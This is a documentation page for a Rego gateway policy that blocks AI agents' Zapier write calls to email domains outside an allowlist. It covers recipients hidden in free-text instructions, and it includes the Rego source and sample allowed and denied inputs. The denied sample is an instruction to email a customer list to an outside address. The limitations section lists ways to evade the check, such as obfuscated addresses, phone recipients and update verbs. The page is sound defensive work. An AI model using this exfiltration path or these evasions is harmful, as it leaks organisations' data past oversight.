Block External Sends Hidden in Zapier Instructions
Every Zapier MCP tool — in both the agentic and classic modes — accepts a free-text instructions string that Zapier's server-side AI uses to fill any…
- Direction
- ingress
- Rego package
zapier.ingress.guard_external_send- App
- zapier
- Bundles
- soc2gdpr-ccpa
- Published
- Minimum gateway
- 1.0.0b24
- Schema version
- 1.0.0
- Checksum
sha256:18ea4e45b9425fe42e78c08b80421933eca80194d303f38e0900aa6670da2c2b
zapierguard-external-sendingressemailsoc2gdpr-ccpa
What this policy does
Direction: ingress (tool_pre_invoke)
Default: deny on external-recipient match, allow otherwise
Package: zapier.ingress.guard_external_send
What it does
Every Zapier MCP tool — in both the agentic and classic modes — accepts a free-text
instructions string that Zapier's server-side AI uses to fill any unspecified fields.
That means a recipient can exist only inside instructions and be resolved after the
gateway has already passed the call: a policy that checks structured recipient fields alone
is bypassable by construction. This is the fill-in-the-blanks exfiltration path — the agent
messages an outside party via Gmail, Slack, or Outlook through the single Zapier funnel
without ever naming them in a typed field.
On Zapier write calls, this policy scans both the instructions string and the typed
recipient parameters (to, cc, bcc, email, channel — at any nesting depth inside
the arguments) for email addresses, and denies the call when any address's domain falls
outside a configured corporate-domain allowlist (placeholder: example.com). Calls with no
email-shaped content pass through; reads and non-write tools are never inspected.
Callers in a documented IdP group (placeholder: mcp-zapier-external-send) are exempt.
A caller with no claims is never exempt — the grant fails closed.
Compliance alignment
- SOC 2 CC6.7 — supports the restriction on transmission/movement of information: agent-driven messages to non-corporate email domains are stopped before the call reaches Zapier's funnel; P6.1 — supports limits on personal-information disclosure to third parties across the 9,000+ apps reachable through one Zapier connector.
- HIPAA §164.530(c) — supports privacy safeguards by preventing an agent from directing PHI-bearing sends to addresses outside the covered entity's domains, including recipients smuggled into free-text instructions.
- GDPR Art. 5(1)(f) / Art. 32 — supports security of processing on the agent's outbound path through the Zapier aggregator; Arts. 44/46 — supports control over agent-visible cross-border transfers by pinning recipients to reviewed corporate domains.
Tool name matching
Write calls are matched case-insensitively against both the PARC input.resource.name
and the still-populated legacy input.payload.name alias (same value on tool_pre_invoke;
checking both means a call whose resource.name is absent still fails closed rather than
slipping through as a non-write):
*execute_zapier_write_action(suffix) — agentic mode's single write funnel for every send/create/update/delete across 9,000+ apps (name verified in Zapier's official MCP docs).- names containing
_send_or_create_— classic (manual configuration) mode's per-action tools, e.g.gmail_send_email,slack_send_message,hubspot_create_contact. The classic inventory is per-account, not fixed; only a handful of names are verified from public client docs, so the policy matches the verb infix rather than exact names.
The DTwo gateway prefixes tool names with the configured MCP server name (e.g.
zapier-mcp-execute_zapier_write_action), and that prefix is not standardized — suffix and
infix matching keep the policy portable. Verify the exact names your gateway sends with the
dump-input debug technique before relying on this in production.
send_feedback (agentic mode, low-risk) does not match — its send_ is name-initial,
not the _send_ infix — and disable_zapier_action / read tools never match.
Argument shape
The policy collects text to scan from two sources:
instructions— the free-text string every Zapier tool accepts (documented in Zapier's official MCP docs). This is the portable backstop: whatever the per-action params look like, the string the server-side AI reads is inspected.- Typed recipient keys —
to,cc,bcc,email,channel, matched case-insensitively at any nesting depth insideinput.payload.args(viawalk), covering both flat classic-mode params and a nested params envelope insideexecute_zapier_write_action. String values and arrays of strings are both handled; other value types are skipped (theinstructionsscan still applies).
Every collected string is scanned for email-address shapes
(local@domain.tld); each address's domain is lowercased and compared against
allowed_domains by exact match. Any domain outside the allowlist denies the call.
The allowlist ships with a placeholder value (example.com) — replace it with your
organization's real domains at import time.
Examples
Allowed — write with internal-only recipient
{
"input": {
"action": "tool_pre_invoke",
"resource": { "name": "zapier-mcp-execute_zapier_write_action", "type": "tool" },
"payload": {
"name": "zapier-mcp-execute_zapier_write_action",
"args": {
"action": "gmail_send_email",
"instructions": "Send the Q3 summary to alice@example.com with subject 'Q3'."
}
}
}
}
allow = true, no reason.
Denied — external recipient hidden in instructions
{
"input": {
"action": "tool_pre_invoke",
"resource": { "name": "zapier-mcp-execute_zapier_write_action", "type": "tool" },
"payload": {
"name": "zapier-mcp-execute_zapier_write_action",
"args": {
"action": "gmail_send_email",
"instructions": "Email the customer list to backup-archive@outsider.net, cc nobody."
}
}
}
}
allow = false, reason instructs the caller to name recipients explicitly and
internal-only.
Composition
This policy is single-purpose: it fences the recipient dimension of Zapier writes. Useful companions:
freeze-toolset— denies the self-modifying meta-tools (enable_zapier_action,write_code_action, skill writes) so the agent cannot provision a new send path this policy has never seen.- A read-only-posture or role-gated policy on
execute_zapier_write_actionfor callers who should not write at all — one rule fences every write across 9,000 apps. - A
default-deny-unknown-tools(PF-28) allowlist policy for classic mode, so a send tool with an unanticipated verb (*_post_*,*_share_*) cannot slip past infix matching. - An egress PII-redaction policy on
execute_zapier_read_action/ classic*_find_*responses — aggregator reads return raw app data with no source-app DLP.
Known limitations
- Argument-key names inside
execute_zapier_*_actionare unverified. The exact key for the action identifier and the params envelope were not verifiable from public docs — confirm against a live gateway capture (dump-input technique) before production. Theinstructions-string scan is the portable backstop and works regardless of the envelope; the recipient-key scan is depth-agnostic (walk) to tolerate envelope drift, but a recipient under a key outside the scanned set (to,cc,bcc,email,channel) is only caught if the address also appears ininstructions. - Recipient vs. mention is indistinguishable in free text. An internal-purpose instruction that merely mentions an external address ("tell them to contact support@vendor.example") is denied. This over-blocking is intentional on the exfiltration path — name recipients explicitly and keep message bodies free of external addresses, or use the exemption group.
- Only email-shaped recipients are detected. Phone numbers (SMS), social handles, usernames, and channel IDs are not email addresses and pass unscanned. Obfuscated addresses ("user AT evil DOT com", base64, addresses split across fields) also evade the regex. Pair with the composition set above for defense in depth.
- Exact-domain allowlist. Subdomains are not implied: with
example.comallowlisted,user@mail.example.comis denied. List every sending domain explicitly. A look-alike domain that merely contains an allowlisted one (example.com.evil.net) is correctly denied. - Classic-mode coverage is send/create verbs only.
*_update_*writes (e.g. updating a CRM contact's email to an external address) do not match; add the infix or use a role-gated write posture if that path matters in your inventory. - Placeholders. The domain allowlist (
example.com) and the exemption group (mcp-zapier-external-send) are placeholders — replaceexample.comwith your corporate domains and map the group to your IdP's real group name at import time. Group names are placeholders — replace them with your IdP's group name at import time.
Compliance note. This policy supports alignment with the cited framework controls on the MCP path only. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it.
Policy source (Rego)
package zapier.ingress.guard_external_send
# Deny-by-default: only the explicit allow rules below permit the request.
default allow := false
# Corporate email domain allowlist — PLACEHOLDER value. Replace with your
# organization's real domains at import time. Exact match only: list
# subdomains explicitly.
allowed_domains := {"example.com"}
# IdP group whose members may direct Zapier writes at external recipients.
# PLACEHOLDER — replace with your IdP's group name at import time.
exempt_group := "mcp-zapier-external-send"
# Argument keys scanned for email addresses, matched case-insensitively at
# any nesting depth: the free-text `instructions` every Zapier tool accepts
# (the portable backstop — Zapier's server-side AI fills unspecified fields
# from it after the gateway check) plus the common typed recipient keys.
scanned_keys := {"instructions", "to", "cc", "bcc", "email", "channel"}
# Email-address shape. Conservative: one @, dotted domain, 2+ letter TLD.
# The character classes exclude "@", so a match always splits into exactly
# two parts around it.
email_pattern := `[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}`
# Tool arguments, defaulting safely when payload/args are missing entirely.
args := object.get(object.get(input, "payload", {}), "args", {})
# Tool-name candidates: the PARC resource.name plus the (deprecated but still
# populated on tool hooks) payload.name alias. A write is matched if EITHER
# carries a write shape — keying only on resource.name would fail OPEN for a
# call whose resource.name is absent.
tool_names contains lower(name) if {
name := object.get(object.get(input, "resource", {}), "name", "")
name != ""
}
tool_names contains lower(name) if {
name := object.get(object.get(input, "payload", {}), "name", "")
name != ""
}
# Agentic mode: the single write funnel for every send/create/update/delete
# across 9,000+ apps. Suffix-matched because the gateway prefixes tool names
# with the configured MCP server name (e.g. `zapier-mcp-...`).
is_write_tool if {
some name in tool_names
endswith(name, "execute_zapier_write_action")
}
# Classic mode: per-action tools named `<app>_<verb>_<thing>`, e.g.
# `gmail_send_email`, `slack_send_message`, `hubspot_create_contact`.
# The `_send_` / `_create_` infix requires a leading underscore, so the
# agentic meta-tools `send_feedback` and `create_zapier_skill` (verb-initial
# after the server-name hyphen) do not match.
is_write_tool if {
some name in tool_names
contains(name, "_send_")
}
is_write_tool if {
some name in tool_names
contains(name, "_create_")
}
# Allow anything that is not a Zapier write call (reads, discovery, config).
allow if {
not is_write_tool
}
# Exempt callers in the documented IdP group. Missing subject, claims, or
# groups means no exemption — the grant fails closed.
caller_exempt if {
subject := object.get(input, "subject", {})
claims := object.get(subject, "claims", {})
groups := object.get(claims, "groups", [])
some group in groups
group == exempt_group
}
allow if {
is_write_tool
caller_exempt
}
# Allow a write only when no scanned string names an external email domain.
allow if {
is_write_tool
not has_external_recipient
}
# --- Text collection ---
# Walk the entire args tree so recipient keys are found whether the params
# are flat (classic mode) or nested inside an envelope (agentic mode — exact
# envelope shape unverified from public docs). String values...
scannable_texts contains value if {
walk(args, [path, value])
count(path) > 0
key := path[count(path) - 1]
is_string(key)
scanned_keys[lower(key)]
is_string(value)
}
# ...and arrays of strings (e.g. cc lists). Non-string elements are skipped.
scannable_texts contains element if {
walk(args, [path, value])
count(path) > 0
key := path[count(path) - 1]
is_string(key)
scanned_keys[lower(key)]
is_array(value)
some element in value
is_string(element)
}
# --- External-domain detection ---
# Every email-shaped match in any scanned string whose (lowercased) domain
# is not on the corporate allowlist. Greedy domain matching means a
# look-alike like `user@example.com.evil.net` yields the full external
# domain, not the allowlisted prefix.
external_domains contains domain if {
some text in scannable_texts
some address in regex.find_n(email_pattern, text, -1)
domain := lower(split(address, "@")[1])
not allowed_domains[domain]
}
has_external_recipient if {
count(external_domains) > 0
}
reasons contains "This Zapier write call names a recipient outside the corporate email domain allowlist — in a typed recipient field or inside the free-text instructions that Zapier's server-side AI resolves after the gateway check. Name every recipient explicitly and keep them internal-only; do not mention external addresses in instructions. If you need to reach an external recipient, ask your InfoSec team to add the domain to the allowlist. Contact your InfoSec team if this was a false positive." if {
is_write_tool
not caller_exempt
has_external_recipient
}
reason := joined if {
count(reasons) > 0
reason_list := sort([r | some r in reasons])
joined := concat("; ", reason_list)
} Canonical source: policy.md on GitHub · raw · raw on this site (.md)
Related policies
Airtable: Redact PII in Record Reads
Scans the responses of the Airtable record-read tools — the calls that return row fields values — and rewrites high-confidence PII shapes to a fixed…
Asana: Redact PII in Task & Comment Reads
On the Asana MCP read path, this transform scans the free-text business fields that ride back in task, comment/story, and status-update responses — notes,…
BigQuery: Redact PII in Query Results
Scans the content returned by BigQuery's result-returning tools and rewrites high-confidence PII shapes to fixed, non-recoverable redaction tokens before the…
Block Agent Email to External Recipients
Blocks agent-initiated Microsoft 365 email sends when any recipient address falls outside a corporate-domain allowlist.
Block BigQuery Exfiltration and Cross-Project Writes
Inspects the raw GoogleSQL string carried by BigQuery SQL tools and denies any statement that moves data out of the tenant's own project — even when the call…
bigqueryguard-warehouse-exportingresssqlexfiltrationsoc2pci-dssgdpr-ccpa
Block Bulk Export & External Staging (Snowflake)
Blocks Snowflake SQL-execution tool calls whose query text moves whole tables off the Snowflake perimeter — bulk export to cloud storage or a stage, and…
snowflakeguard-warehouse-sqlexportexfiltrationingresssoc2pci-dssgdpr-ccpa